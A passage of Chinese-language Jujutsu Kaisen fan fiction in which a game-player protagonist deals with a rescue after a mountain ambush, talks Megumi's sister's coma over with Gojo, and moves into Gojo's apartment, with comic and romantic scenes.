一白一黑两只狗狗围着他们,一起挤在羽取一真用[黑闪]凿出来的山洞里,再点起篝火, 身体就能变得十分暖和。 在二人安静围着那火光跳跃,在岩壁上拉出长长的倒影时,伏黑惠突然开口。 “真的很感谢你今天救了我,”他说,“否则,津美纪……” 后面的话没有再说下去,羽取一真却立刻回忆起当时在他家看到的景象——有着碎花桌布的茶几,空白的相框,还有独自一人的新年与任务。 或许这位津美纪就是关键。 但羽取一真记得之前伏黑惠都不肯和他说的,也不知道为什么现在愿意和他透露一点线索了。 ……难道说之前那顿耗费100金币巨资的【请客】,还真能增加个人魅力? 嗯,既然伏黑惠本人都愿意提起这个话题了,他也正好可以顺势多问两句,争取解锁出一个隐藏委托。 “是悟交代了我要照看好你,我才做这些的。要感谢的话,等回去再对悟说一遍吧。” 羽取一真摇了摇头,先对伏黑惠强调了这么一句,才继续问道。 “津美纪是你的家人吗?出了什么意外?” 伏黑惠点头,盯着面前的篝火沉默片刻,“……她是我的继姐。”——他终于开口。 “但在我升上国中三年级不久后,她中了未知的诅咒,到现在都没有醒,不知道什么时候就会被诅咒杀掉。” “为了救她,我才想踏上咒术师的道路,寻找解决那个诅咒的办法。” 关于咒术方面的设定,羽取一真基本都是从伏黑惠这里听来的,像这种会昏睡不醒的中咒情况,他也对此完全不了解。 “不是因为咒灵的缘故吗?” “或许是,或许不是,”伏黑惠低声开口,“低阶咒灵是做不到这种程度的,但准一级以上能用咒术的高阶咒灵就未必了。” “另外也有诅咒师、咒具、以及咒物的存在……虽然也找硝子医生帮忙看过,但她说从来没见过这种现象,对此无能为力。” 【当前触发隐藏委托: 伏黑惠的忧虑:伏黑惠的姐姐陷入了原因未知的昏睡。或许您可以帮助他找到真相? 奖励:获得技能<领域展开·归净身血>。】 竟然是这么好的奖励?刚被科普完领域展开这个技能重要性的羽取一真眼睛微亮,毫不犹豫接下了这个隐藏委托。 “我来帮你。”羽取一真开口,“别担心,一定会有线索的。” 没有玩家解决不了的任务! 伏黑惠正在添枯枝的动作微微一顿,才回道。 “好。” ………… 第二天,晴朗无云,微风,阳光将雪地照得发亮。 视野良好的天气也让螺旋桨转动的声音顺利响起在二人头顶,自远而近,格外清晰。 从直升机下来的搜救队员一个个神情凝重,如临大敌。 昨晚十二点就收到求救的他们连夜上山,但毕竟旭岳山太大,黑暗环境里想要尽快找到茫茫雪林里的二人,难度实在太高。 幸好在太阳升起时,搭乘直升机进行空中搜救的他们立刻发现了SOS信号——更震撼人心的是,它是用血写成的! 竟然会使用如此大量的血在雪地上画出求救信号,遇险者的性命必定危在旦夕! 心急如焚的救援队员立即在周边展开搜索,却只找到了一位带着少年来赏雪却不慎迷路的青年,状态看起来都相当不错。 无论他们再怎么寻找,都没有那位“失血过多”的遇险者。 “你是说,你们来赏雪结果不小心迷路跌落山崖,结果找到了一处天然洞穴,在里面睡了一晚后,第二天就遇到我们找过来了?” 来给他们做纪录的警官难以置信,又将羽取一真的话再度复述一遍。 “完全没用血做过SOS的求救标识,也没有见到附近有第三位遇险人员?” 羽取一真格外淡定:“没错。” 他一本正经的胡说八道也不是一两次了,连眼睛都不带眨一下的。 至于用刀割出的深长伤口,早在他补满体力值后就自动痊愈了。 伏黑惠当时格外震惊他是否在无意中发动了反转术式,但羽取一真对此毫不在意。 这不过是玩家在哪个游戏中都拥有的小小被动技能而已——满血等于无伤,非常合理。 “……我真的很难想象你的叙述,这位加茂家主先生。” 警官将他们面前的纸摆正了些,又认真开口说道。 “希望你再仔细回忆下附近是否还有其它遇险者的迹象,这些血明显是新留上去的。” 虽然他也怀疑过是不是眼前这两人做的,但他们身上都没有伤口,又要怎么在雪地上写血字? ——其实,这也是羽取一真为什么不能照实说的原因。 他的身上都没伤口了,要是说那SOS的标识是他用自己的血写出来的,谁会信啊。 再说,他拼命证明那个SOS是自己写的,又有什么好处? “或许是上世纪在旭岳山遇难的那位……”正想重新编一个理由的羽取一真卡住。 “森田先生。”伏黑惠补充。 “森田先生的亡灵没有散去,这次救下了我们,执念解脱,彻底成佛。” 羽取一真从善如流的接完这句话——虽然真实情况是灵异传闻催生了咒灵,被伏黑惠连夜送走。 警官:“……………”这往笔录上写谁信? “好吧,既然您并不知道情况,那就先好好休息。” 他只能收起纸笔,向他们点头致谢,“我们会再去山崖底尝试展开更仔细的搜救,希望能找到线索。” “我们呢?”伏黑惠问道。 “等医生过来确认你们的身体没有问题,就可以离开了。” 警官补充道,“你们真的要好好感谢斋藤先生,一般需要失踪48小时才能立案,是他再三请求我们尽快出警,说你们没有按照约定打来电话,肯定遇到了非常、非常危险的意外。” 最后能见到这两位什么事也没有,反而也让他跟着松了口气。 “嗯,我们会的。”羽取一真认真点头,“也谢谢你们。” 等警官走后,他转头问伏黑惠。 “那位[窗],联系上了吗?” “没有。”拿着手机的伏黑惠凝重摇头,“不只是[窗],原本应该和我们同行的辅助监督也至今没有消息。” “果然是人为的阴谋,”羽取一真说,“大概是总监部那边的。” 伏黑惠愣了下,“这么肯定?” “之前就和我对着干的,不管这次是不是真的做了,就先当是他们做的。” 羽取一真淡淡道,“杀几个就能问出来了。” 就像狼人杀,难道还得有对方是狼人的确切证据才会投票吗?大家不都是开局就先怀疑几个,投错再说。 换成这帮老头npc也是同样的道理。 伏黑惠都不知道该回这位偶尔格外心狠手辣的加茂老师什么才好,卡壳了半晌才出声。 “………这、这样啊。” 果然不愧是能追…追求五条老师的男人。 等医生过来检查完他们的身体状况,惊叹这过分健康的程度后,羽取一真便带着伏黑惠离开了警署。 走在街道上,伏黑惠仍旧尝试往旭岳山那边打了好几通电话,除了提前设定的语音信箱外,没有任何回应。 “他们应该都被灭口了,你联络不上的。” 羽取一真收起自己的那部手机,微微摇头。 “有这功夫,不如先忙另外一件事。” “是什么?”伏黑惠认真应下,“难道说想起了什么线索……” “[樱田]的花林糖。” 羽取一真皱起眉毛,以一种格外恨铁不成钢的语气对他说道。 “你怎么能忘记悟的嘱咐?我已经查过了,[樱田]其实是个附带店面的牧场,我们现在要去那里给悟买花林糖。” 伏黑惠:“………好。” ……他早该反应过来的。 30-40 第31章 樱田牧场听起来是一家养殖牛羊用的牧场, 其实占地超过150亩,里面综合了农场、商店、景观花田、温室甚至还有观光小火车。 羽取一真看得啧啧称奇,特意拍了许多照片, 决定之后让加茂家的那些老头npc也照这个目标搞起。 也不能只守着那一亩三分地种菜, 看看这种综合农场,肯定能赚得更多。 除去五条悟点名要的巧克力草莓口味,羽取一真几乎每样都买了点,牛奶、巧克力、黄油蜂蜜、番薯、梅子和抹茶……反正货架上有的口味他都拿了一点,把伏黑惠的挎包塞得满满当当。 还顺带买了些樱田同样在销售的限定焦糖爆米花,据店员称这个最近卖得超好, 很受甜食爱好者的欢迎。 羽取一真听完就毫不犹豫地掏钱付账。 “我要了,还有其它口味也都来一包。” “好的, 感谢惠顾——” 拎着两个超大购物袋, 连来时瘪瘪的挎包都鼓成一个球的伏黑惠:“…………” 哪有把伴手礼买成超市进货的道理! 在赶飞机前, 羽取一真还特意打了一通电话给那位相当热心的斋藤大叔, 先是感谢他的帮忙,而后叮嘱他绝对不要接受任何新闻采访, 不要告诉任何人报警求援的是他。 斋藤大叔爽朗笑着,很痛快的答应了。 至于警方与媒体那边,羽取一真则是直接打电话给加茂乃吉,让他动用加茂家的势力压下去了——不准发布任何关于这起搜救事件的新闻报道, 尤其是禁止泄露他和伏黑惠的信息。 他还顺便看了眼系统里显示的加茂家支配度, 确定还在受他掌控的80%以上。 “嘘,我们悄悄的回去。” 羽取一真给伏黑惠看手机, 亮起的屏幕列有一连串名单,是他找加茂乃吉要来的。 “到时我突然出现在会议室,挨个点他们的名, 谁害怕谁心里就有鬼。” 他们整天缩在障子门后面,不肯露出一面真容,难道就觉得他会拿他们没办法吗? “………”伏黑惠缄默片刻,“我觉得,无论是谁突然被你点到名,都会害怕一下的。” 经过这短暂两天的相处,他也算是大概摸清楚这位加茂老师的行事风格了。 “那就先怕一个杀一个,让他们更加怕到以后再也不敢在背地里做小动作。” 准备登机的羽取一真收起手机,轻描淡写道。 伏黑惠:“……”看吧,果然。 这位加茂老师至今还能不被当成诅咒师通缉,完全是因为他威胁的对象不同吧…… 祸害普通人类,会被定性成诅咒师进行通缉与追杀;祸害总监部,反而只能让他们忍气吞声,不敢轻举妄动。 但还是不妨碍他们试图在背地里造反。 总而言之,伏黑惠还是跟着羽取一真坐最快的航班回去了,连下飞机都没要高专那边安排人来接。 除了一位。 “唷!” 穿着休闲夹克外套的五条悟在朝他们招手,另一只手还插在兜里;那头柔软白发下的墨镜也换成了椭圆镜片的机车兜风款,看似来酷极了,超级招惹路人偷望过来的目光。 羽取一真两手拎着购物袋,带领同样两手拎着购物袋的伏黑惠闻声过来时,他显得十分开心。 “嗯嗯?哪个是给我的伴手礼?” 五条悟单手捏着墨镜腿,稍微将它拿下来一些,那双苍瞳便露出了极漂亮的一点雾蓝,好奇在他们手里的那几个购物袋中巡视。 “全部都是你的。” 羽取一真双手朝五条悟一伸——伏黑惠在背后绷着张脸,也拎了拎手里的购物袋示意这些都是他的。 顺带还有那个拉链都快绷裂的挎包。 “欸?全都是给我的?” 没料到是这个答案的五条悟手一滑,墨镜顿时被带下来一大半,看向羽取一真的蓝瞳跟着瞪得圆溜溜的,连那上扬的尾腔都带着点轻微鼻音,整个人的气质忽然就从耍酷变成了超可爱。 反正羽取一真觉得超可爱。 这笔236金币花得值了! “悟是开车来的吗,有没有地方放?”他问五条悟。 “嗯……虽然我一次就考过驾照啦,但几乎没有开过,要说熟练程度基本就等于零。” 五条悟戴回墨镜时,顺带一耸肩,将羽取一真手中的那几个购物袋接过来。 能收到比预期中还要多得多的伴手礼,他的唇角一直上扬着,看起来超开心。 “这次又是你强调想避开咒术界的人,所以呢,我选择了比较安全,又可以避人耳目,移动起来还格外便捷的出行方式!” 带着他们往路边走去,五条悟还神秘兮兮的给羽取一真炫耀,拎着购物袋的手朝那方向一指。 “锵锵——是边三轮摩托车噢!超酷的!” 五条悟整个人都格外兴致勃勃的,精神十足,介绍这辆特别款式的摩托车时,就像在给羽取一真分享他喜欢的超有趣玩具,看起来高兴极了。 “你会开吗?会的话我要坐挎斗的那个位置!哇,一看到这辆车,我就想试试坐边上兜风的感觉……” 来接羽取一真他们时,他还特意换了身应景的衣服呢! “…………” 伏黑惠瞪着那辆右侧装有挎斗的三轮摩托车,整个人都有点惊呆。 还是小孩子吗这个家伙…… 五条悟:“顺带一提,它要三百五十万円哦。” 居然还要这么贵!! “噢好啊,这车我可擅长开了。” 羽取一真接过五条悟给的钥匙,挽袖子就往驾驶座上跨——在吃鸡游戏他都开过这玩意超多回了,根本就是信手拈来。 伏黑惠也认命叹出口气,在五条悟坐进挎斗里时,他也拎起购物袋在后座坐好。 空气安静了片刻,边三轮摩托车纹丝不动。 羽取一真:“…………” 伏黑惠:“…………” 五条悟:“?” 羽取一真默默从那几个他根本看不懂的仪表盘里抬起头,诚恳开口。 “抱歉,这和我想的不太一样。” 平时玩游戏只需要按下操作键,无论什么交通工具都能轻松驾驭——哪怕飞机也轻松能开上天,再撞上随便什么东西…… 但这个过于自由开放的虚拟游戏,它是真的要让他开啊。 而他游戏外的本体还是个高中生呢……连驾照都没到够资格考取的法定年龄。 他现在唯一真正会的交通工具,只有自行车。 “———” 五条悟发出一声超级失落的语气助词,和羽取一真互换了位置。 这几袋伴手礼先暂时放在挎斗的座位边上。 可恶,他明明也想坐一次挎斗兜风的啦! “先把惠送回琦玉的老家噢,这几天就好好休息一下吧,后续的评定流程我来解决。” 虽然说着“只考过驾照,实际熟练度基本为零”,但羽取一真看五条悟驾驶摩托车的动作行云流水,极为熟稔,完全不像是才刚买这辆超贵边三轮摩托车的人。 连那戴着墨镜半伏低身体,任由银白发丝在劲风中纷扬而起的驾驶姿势也帅到不行。 羽取一真忽然发现挎斗这个设计真的很棒——与只能看到五条悟背影的后座不同,这个侧坐位置可是能很便利的欣赏到漂亮大悟的一举一动,简直是视野绝佳的天选座位! 被那双隐隐发亮的黑瞳毫不掩饰盯了一路的五条悟:“…………” “那个,你说的事情,” 他也不知道该如何形容自己此刻忽而升起的情绪,只能掩饰般闷咳了声,聊起之前在电话里说起的话题。 “我会试着调查原本监测旭岳山的那些[窗]、以及安排这个任务的高专后勤人员,看他们之前都与谁接触过。” “不用那么麻烦你,”羽取一真开口,“我直接去会议上杀几个,肯定会有愿意说的。” “但如果不小心漏掉了真正的元凶,反而会让对方藏得更深吧?”五条悟笑起来,“你这家伙,比我还要喜欢用武力解决问题啊。” 羽取一真眨了下黑瞳,没有说话,但他的意思很明显。 只要能解决问题,杀几个老头对他而言,根本没有任何心理负担。 “杀掉他们是很轻松的事情,但杀掉的后果可是超——麻烦的啦。” 五条悟说,“御三家都是从至少从平安时代延续至今的哦?势力与资源之间的盘根错节是很复杂的,如果只是粗暴的一口气杀光,只会再上一批更加视你为眼中钉的高层啦。” “那就再杀掉,直到是支持我的人上来为止。”羽取一真回答。 “整个咒术界都腐朽到骨子里了,用这样的办法,就算是把所有人都杀光,也没办法达到正确的改革啊。” 五条悟笑了起来。他驾驶着摩托车,还能分神空出只手去揉羽取一真的脑袋。 “所以我才想当老师,想要从[苗]来重新培育真正能重置咒术界的、可靠又聪明的同伴呢。惠,你也是其中一员哦。” 伏黑惠愣了下,没想到连自己也包括在内。 “总之啦,你的方式也不是说完全不可行,但可以暂时作为最终不得不执行的备选计划。目前还是先等我去调查一下,看看会不会有收获,我总感觉这件事背后没那么简单。嗯……这样的话,你就不能直接回高专住了啊,去保守派的大本营京都也绝对不行……” 微微蹙了下眉,羽取一真正要说他也不介意一直杀到有人支持他为止,反正总会有因为怕死而愿意听他命令的,就听见五条悟继续说道。 “要不,你先去我的公寓里住几天?” “好。” 羽取一真简短有力的秒回道。 第32章 什么咒术界, 什么御三家,什么老头npc,根本比不上五条悟这句话万分之一的杀伤力。 这可是来自五条悟的邀请! 他来玩这个游戏是为的什么?为了在老头堆里玩割草无双吗?不, 是为了养漂亮小悟。 虽然进游戏时出了点意外, 漂亮小悟变成了漂亮大悟,但问题不大,漂亮大悟也有属于漂亮大悟的超绝魅力。 他同样喜欢得不行。 羽取一真答应得如此利落,反而让五条悟的表情一顿,后知后觉反应过来——这小子之前可是很认真向他求过婚的啊! 欸……算了,也没什么大事, 反正他有全自动的[无下限]呢。 要说那群老家伙反对他的改革理念,至今却依旧只能干看着他瞪眼的原因, 不就是没人能杀得掉他吗。 啊不过, 反正住一个也是住, 住两个也是住。 “那干脆惠也……” “我不去。” 伏黑惠铿锵有力的回绝道, 速度比羽取一真答应的还快。 他宁愿坐两个小时的巴士回埼玉县老家独居,也不想住进这两个人都在的房子里当超闪亮电灯泡! 被伏黑惠如此坚定的拒绝了邀请, 五条悟墨镜后的蓝瞳眨巴了下。 “………” 虽然他在东京也不是只有一套公寓,但又微妙的感觉不能放对方一个人住…… 搞不好会哭出来吧,估计。 五条悟甚至在心里脑补了下平日总是神情冷淡的青年得知自己要独自住在公寓里时,憋着眼泪要掉不掉的失望模样——忽然心情超好。 没办法了, 看在这小子就是这么喜欢他的份上, 欸呀欸呀。 五条悟右手五指收紧,略微压了压油门, 在路人诧异目光里极流畅地拐了个弯,再开口时的语气笑眯眯的,完全没有被伏黑惠拒绝后的不高兴。 “好哦, 那就送你到最近的车站坐巴士。” “嗯。” 伏黑惠和羽取一真同时暗松了口气。 “说起来,悟知道伏黑惠姐姐的情况吗?” 离车站还有一段路,羽取一真想起自己那个关于伏黑惠的隐藏委托。 这个委托的内容同样挺蹊跷的,目的竟然是要他【找到真相】,而非【帮助津美纪从昏睡中苏醒】。 虽说这个猜测比较悲观……但羽取一真觉得,伏黑惠的姐姐大概率很难再醒过来了。 “惠竟然连这件事也和你说了?” 五条悟反而有些惊讶,“没想到喔,惠也变得对你相当亲近嘛。别看他表面上这么冷淡,实际上他性格就是这么冷淡啦,一贯不爱讲自己情况的。” 伏黑惠出声抗议:“……喂。” “能理解,”羽取一真微微点头,“我也一样,被说很闷、不会讲话,想受欢迎只能靠脸。” 伏黑惠看着他:“………” 五条悟看着他:“………” 羽取一真回看二人:“?” 空气随之沉默半晌,直到五条悟略带惊疑地看向完全没有自觉的羽取一真,好奇极了。 “是谁说过你很闷又不会讲话,只能看脸?” 不,应该说是谁敢这样说他?加茂的那群老家伙吗?他们应该没这个胆量吧? 而且要说对方不会讲话……完全看不出来,面对老家伙们的时候不是超会讲的吗。 “御子柴。”羽取一真说出这位好友的名字后,又停顿片刻,“不过,我觉得他比我也强不到哪里去。” 总是对着女生讲点身不由己的耍酷话然后自顾自害羞拿他和鹿岛当盾牌,一边答应男生的联谊邀请,一边还非要拖着他才敢去。 换个思路想想,鹿岛在这讨女生喜欢这方面的口才简直爆甩他们八条街,要是换她来攻略漂亮大悟,没准一天就能把空气都刷得飘花。 “御子柴?没听过的名字。”五条悟歪头回忆片刻,“不过嘛,我倒觉得你超对我口味的,别灰心——” 超对我口味——>好感度很高——>攻略有戏。 “那就好。” 得到漂亮大悟的亲口安慰,羽取一真立刻高兴起来,偷偷打开好感度界面瞄一眼。 【当前,与您有过接触的人物按好感度排列如下: 五条悟:68; 伏黑惠:43; 夜蛾正道:36; 加茂宪纪:6; 七海建人:0; 加茂长吉:-100(已故); 加茂乃吉:-87; 前田康夫:-89; 加茂平七:-96; ……】 果然漂亮大悟对他的好感度又涨了一些,真好。 羽取一真心满意足关上。 这个好感度列表似乎只会筛选有术式的咒术师,普通人哪怕交换过姓名也不包括在内。 话说加茂宪纪是谁来着,怎么也一直在慢慢涨好感,竟然还能成为加茂家中唯一的正数——他记得刚开始是-10才对。 至于加茂的这些老头到底是对他负多少,又具体是为什么涨起来了,羽取一真半点也不关心。 大概是知道自己已经无力反抗他的统治,所以反而诡异地上升了一点吧。但无所谓,要干活的结果不会有什么差别。 稍微跑了点话题,羽取一真又重新将重点拉回来。 “总之,我觉得惠的姐姐昏睡这件事情也不简单。”他说,“应该不是普通的中了诅咒。” 伏黑惠一惊,“真的吗?” “这样啊。”五条悟点了下头,顺着羽取一真的话继续思索道。 “我也用[六眼]仔细看过,只能看出她周身萦绕着外来的咒力,这大概率是昏睡的原因。之前大家都认为更有可能是中了准一级以上咒灵的未知咒术,但既然你这样说,是凭新人术师的直觉猜测这个昏睡的结果并非是[意外],而是[人为]?” 羽取一真:“嗯。” 他毕竟是看着委托内容猜的,没办法解释为什么会这样认为,只能认同悟所说的“新人术师的直觉”。 不过,像这种找真相的任务,依照他曾经玩过的那些游戏剧情套路,基本都和最终游戏BOSS有关。 “很特别的思路哦,往人为的方向去考虑吗?嗯,也不是没有这个可能性。” 相比对咒术不甚了解的羽取一真,以及只接触过理论知识、尚不曾真正涉足咒术界深处的伏黑惠而言,从小就自咒术界中心长大的五条悟思路极其聪敏且清晰,几乎是一点就通。 而且,愿意顺着羽取一真的猜测,继续深入推敲。 “但津美纪以前从未接触过咒术相关,要真是人为……唔,禅院家那边不太可能,他们要是想要以此要挟惠顺从禅院家,早就自爆是自己做的了,不至于沉寂到现在。” 五条悟蹙眉,认真思索道。 “如果是那些躲躲藏藏的诅咒师……那么,她可能是被随机挑选出来的[符合条件者]。且大概率不只有她一人陷入昏迷。” “不止她一人?”羽取一真困惑道。 “有时,诅咒师会挑选符合某些条件的普通人,进行一些咒具的制作或升级,或是咒物的凝练,或是单纯想收集负向能量之类的坏事哦。” 五条悟耐心给他解释,“虽然不同的诅咒师干坏事的步骤都不太相同,但有一个结果是共通的——普通人会死。” “像津美纪这样昏睡很久也没有任何动静的,如果要往[人为]的方向去推断,我只能猜测津美纪目前是[满足部分条件,但还没有满足对方的所有条件]。” “如果是这样的话,”伏黑惠顿时一惊,“那津美纪她……!” “没关系,现在她不是还没事吗?” 五条悟口吻轻松的安慰伏黑惠,“虽说目前针对咒灵方向的资料查找都没有符合的,那我就换个方向,顺便找找看有没有和津美纪同样陷入类似昏迷状况的受害者好了。” “…好。”伏黑惠缓慢应下,又开口道,“谢谢你……五条老师。还有之前的事。” “啊,惠竟然会向我道谢了,好稀奇!” “……加茂老师教的。” ——等目送伏黑惠将购物袋和挎包都留在挎斗里、双手空空的去站点坐巴士后,跨坐在车座上的五条悟抬手伸了个懒腰,重新伏低上半身,握住车把。 “好啰,接下来就只剩我们了。” 只剩羽取一真和他,五条悟说话时的语气顿时随意许多,连态度也显得相当亲近与放松——歪头冲羽取一真笑起来时,还藏着点坏坏的恶趣味。 “先带你去买点换洗衣服和生活用品!喜欢度假风吗?朋克风呢?我觉得波西米亚风也很适合你哦?” 甚至开始信口开河的推荐,一听就是在开玩笑。 “好啊。” 羽取一真照单全收,“我全都可以。” 区区这点风格,玩家根本就是轻松拿捏,走在街头都不带害羞的。 五条悟永远想象不到他曾经为了装备的那点属性加成,能把自己打扮成什么样过游戏剧情。 “……欸啊。” 被羽取一真这样爽快的信任着,五条悟反而有点哽住——最后带着羽取一真去商业街时,只掏钱买了款式相当正常的衬衫和长裤。 也只是款式正常而已,价格不是一般的贵。 而且五条悟完全没有看标签的习惯,整个购物流程基本就是带着羽取一真走进去,逛一圈觉得这件不错,就喊店员拿两件尺码正确的包起来。 “两件?”羽取一真看着五条悟。 刚才店员可是特意提醒了三十万円一件,听五条悟说确定要买两件带走时,对方笑容顿时变得超级热情。 “正好我也要买新衣服嘛。” 身穿夹克外套的五条悟双手插兜,对价钱十分无所谓道。 “之前一直都太忙了,难得有慢慢逛街购物的机会。” 如果不是最近逐渐变闲,他今天都很难抽出空来机场接羽取一真他们呢。 “但按照你付钱的速度,”羽取一真眨了下眼,“好像也并没有很慢。” 不过,能有和五条悟单独逛街的机会,无论怎么样他都超愉快——只要一想到马上就能跟着漂亮大悟去他家,那心情更是喜上加喜。 “啊,” 五条悟这才发现自己仍然习惯性看一眼合适就直接买单,略带懊恼道。 “接下来一定要慢慢逛……店员小姐姐,这件我们要试穿一下,拜托了!” “好喔——” 第33章 作为五条家的核心、咒术界现存三大特级咒术师之一以及当代最强, 五条悟是完全不缺钱的。 他或许会有在意的事物,但那其中绝不包括金钱。 话虽如此,他并不是刻意只购买昂贵的东西, 而是恰好他购买的东西价值很高。 好比此刻, 五条悟边扒拉着手里用一千円买的混合口味水果糖,边碎碎念的嘀咕,看起来也非常开心。 “让我看看还剩下什么……薄荷味啊,有点太冲了不算喜欢呢……咦,竟然还有苦咖啡味?绝对不要……哇啊梅子味!肯定超级酸!” 终于找到他最喜欢的草莓味,五条悟将那袋糖果递给羽取一真, 看他随手从里面拿了颗糖就开始拆包装,根本没注意口味。 想起他之前给羽取一真的黑咖啡里加糖, 对方也毫不介意的将它全喝完了。 “在吃上面还真是完全不挑呢, 你。” 衣服和生活用品都买得差不多了, 现在是他们边沿着街逛回去, 边随意聊些什么的时间。 或许是五条悟白发加墨镜的特殊搭配,或许是因为那张漂亮的脸, 总之他相当惹人注目,有些路人会下意识盯着他打量许久,甚至会与同伴低声讨论。 五条悟还认真感受了下,确认他对这些人的目光没产生什么异样反应, 基本是早就习以为常的普通状态。 奇怪, 那为什么他刚才骑车时被羽取一真盯着看,心底会出现那种奇妙的不自在呢…… “嗯, 我不是特别在意口味。” 羽取一真想了想,“非要说的话,之前请加茂乃吉他们吃的那种饭, 我不喜欢。” “……谁都不会喜欢吃的啦,那根本不能算是食物而是生存物资了。” 五条悟想起被迫连吃五十多顿烂饭的加茂长吉他们就好笑,草莓味水果糖圆滚滚的,被他含在口中来回拨弄着玩,偶尔嗑在齿尖,发出轻微的咯啦声响。 和羽取一真待在一起的感觉很好,有种无论做什么都依旧会被纵容的安心。 而反过来,现在他突然觉得,对方总是顶着那张没什么表情的耍酷脸,然后做出些惊天动地的出格行为时……也怪可爱的。 “亏你想得出来这招——听惠说这是你的领域?真的假的?” 想起这件事的五条悟就格外好奇,“[赤血操术]发展到极致的领域竟然是强迫人吃饭?” 无论怎么想都有点离谱了嘛,但非要说是术式的话就更奇怪了——细想时还透出一种微妙的喜感。 “我也不清楚是什么原理,” 羽取一真说,“不过我能肯定一点,[赤血操术]的领域不是这个。” 毕竟委托列表里还挂着呢,要找到津美纪昏睡的真相,才奖励他[赤血操术]的领域展开技能。 “我猜也不是,以前待在家里学那些枯燥的知识时,也没见过御三家的术式记载里有这么有意思的术式啊。” 想起当时那些加茂家长老的脸色,五条悟弯眼笑得愉快,细碎的笑声足以吸引羽取一真侧过头,看见那垂在他眼前的白发柔软且轻盈,走动时,微微翘起的发梢更是跟着一颤一颤,像被风拂起的蒲公英,正落在他捧起的掌心里。 于是,那份柔软的毛绒绒便跟着轻轻挠进了心底。 羽取一真觉得,要是自己的好感度也能量化,此时此刻,大概能听见它坐火箭飙升的特效音。 不愧是漂亮大悟,想要攻略起他来真是超容易的! ——被那双黑瞳亮晶晶注视着,五条悟发觉自己内心的那份微妙不自在感又开始慢慢浮上来。 这种情绪,无论如何也不能被归为讨厌。 墨镜遮挡下的蓝瞳直视前方,五条悟装作目不斜视,精神却逐渐紧绷,用余光注意着身边黑发青年的一举一动。 连草莓糖的口感都好像跟着变得不对劲了。 不过,与骑车那时相比,这次产生的不自在情绪并没有持续多久,五条悟的神态便又再度格外豁达且从容起来。 算了,不就是喜欢盯着他看嘛,想看多久都没关系,他对自己的脸超有自信,无论从哪个角度看都绝对完美! 羽取一真慢吞吞眨了下眼。 感觉漂亮大悟突然变得更加闪闪发亮了…… 嗯,这样也好看。 开着边三轮摩托车回去时,由于伴手礼加逛街买的东西太多,索性都将这些堆在挎斗里了,羽取一真痛失他的天选座位,只能坐在后座一路怨念着回去。 按照五条悟的介绍,他也不是特意在东京购置的房产,只是之前想着出行方便,就随意挑着买了间隐私性比较好的高级公寓。 “结果买完也没回来这里几次,因为发现还是在高专宿舍住更方便处理事情。” 将那些购物袋放了满地,五条悟掏出钥匙开门时,还边和羽取一真说着话。 “之前一直都是空置状态啦,是我最近的空闲时间变多了,来这里住的次数才逐渐增加。” 这是间拎包入住的高级公寓,家居装修全部都用了高档材料,自玄关望过去的客厅视野极宽敞,连沙发都大到能躺两个人。 但其中最吸引羽取一真目光的,还是靠墙那个占地颇大的水族箱。 气泡正不断自下而上滚涌着,假山、贝壳与水草错落有致,数条游鱼在其中来回穿梭,看起来悠闲又自在。 其中一条是通身闪闪发亮的漂亮银色,羽取一真立刻分辨出来——是之前他送给五条悟的那条银松叶锦鲤! 虽然之前有听五条悟吩咐五条家的人帮忙养起来,但他完全没想到会在这里见到它,而且被一看就知道被养得超级精细。 ……对漂亮大悟的好感再度蹿升。 至于游在旁边的那几条黄褐色小鱼,羽取一真也打量了好几眼,确定自己并不认识。 “嗯?啊,你在看这个。” 见羽取一真盯着那个水族箱看了许久,放好购物袋的五条悟也来到那个水族箱面前。 他将墨镜往上推,让它稳稳的被夹在柔软白发间,彻底露出的那双苍蓝眼瞳认真盯着鱼在眼前游来游去了好一会儿——连虹膜那浅淡的漂亮雾蓝也被模拟海洋的深蓝丨灯光倒映着,透出一点浮动的粼粼碎光来。 “如何,我养得还不错吧?虽然我之前是不太回来住啦,但这个水族箱有自动喂食功能,而且我每周都会记得来换一次水喔。” 于是,当那双蓝瞳再转向羽取一真,朝他得意洋洋的自夸起来时,羽取一真很难说自己有没有真的理解那段听到耳朵里的话。 “超漂亮的。” 他听见自己发出了声音,这么如实回答道。 五条悟听见这个答案,心满意足地弯起唇角,又将视线转回去。 “至于其它那四条……” 他说这句话的声音顿时低了许多,底气格外不足。 “是我这段时间抽空钓上来的鱼。” 他之前信誓旦旦的和羽取一真约好,什么时候钓够十条鱼,就什么时候来换最后一枚印章外加神秘甜品的那十条鱼中的六条。 但能不能钓上鱼这种事,是属于就算有[六眼]也办不到的玄学范畴。 什么最强,什么六眼,什么无下限,通通都要在鱼到底咬什么钩、吃什么饵面前败下阵来。 他总不能潜到水底下去用术式逮住鱼,然后强行把鱼嘴往钓钩上挂吧! 也不是不行……但如果堂堂最强咒术师要靠这种作弊手段来钓满十条普通的小鱼,那也太丢人了……! 姑且拥有的[最强]自尊心,让五条悟忍痛否决了这个念头。 结果就是自从上次和羽取一真在山形县分开,直到目前为止,哪怕他空闲时间逐渐增多,钓不上来的鱼还是钓不上来。 羽取一真:“…………” 糟了,那时他也只在加茂家的人工养殖池塘里钓过超容易咬钩的鱼,完全不知道这款游戏的模拟过于真实,连带野外钓鱼的难度同样翻倍提升。 “我可以调低点数量,比如四条就行……” 他略带心虚的开口——毕竟十条鱼的规则是他当时随口一说,真正的目标还是送出那份用来安慰他吃到辣咖喱蒙布朗的[神秘甜品]。 “那怎么行,” 一听这话就知道羽取一真在给他降难度,五条悟嘴角顿时就朝下一撇,看向他的蓝瞳也随之危险一眯,“小看我?” 他可是超认真在履行约定的! 只有百折不挠、历经千辛万苦后吃到的[神秘甜品],才是最美味的甜品! 五条悟的眼神里明明白白透出这点,格外坚毅——恐怕比祓除特级咒灵时,还要来得认真。 “当然没有。” 羽取一真立刻摇头否认。 “很好。” 五条悟再度神气起来,“你就等着瞧吧,我现在对钓鱼相关的知识已经很熟悉了,肯定马上就能攒齐十条鱼!” 羽取一真配合点头,只能庆幸放在物品栏里的食物没有保质期。 针对[堂堂最强到底能不能钓上来十条鱼]的这个话题告一段落,他们终于开始讨论与后续共同生活有关的事情。 “左边的房间给你睡,”五条悟想了下,有点苦恼,“但我有时会接到紧急电话出任务,可能会有点吵。” 这种时候就是住在高专宿舍比较方便了,伊地知会直接来敲门,顺带负责当司机。 “我也要去。” 羽取一真毫不犹豫答道。 能和漂亮大悟组队刷怪的机会,他一次也不想放过。 “嗯?”五条悟疑惑道,“上次和我凌晨赶了次紧急任务,竟然没有吓倒你?” 连伊地知有时候都撑不住昼夜颠倒的连轴转,需要换人来当司机兼辅助监督呢。 然后他看见羽取一真更疑惑看着他,像是在问—— 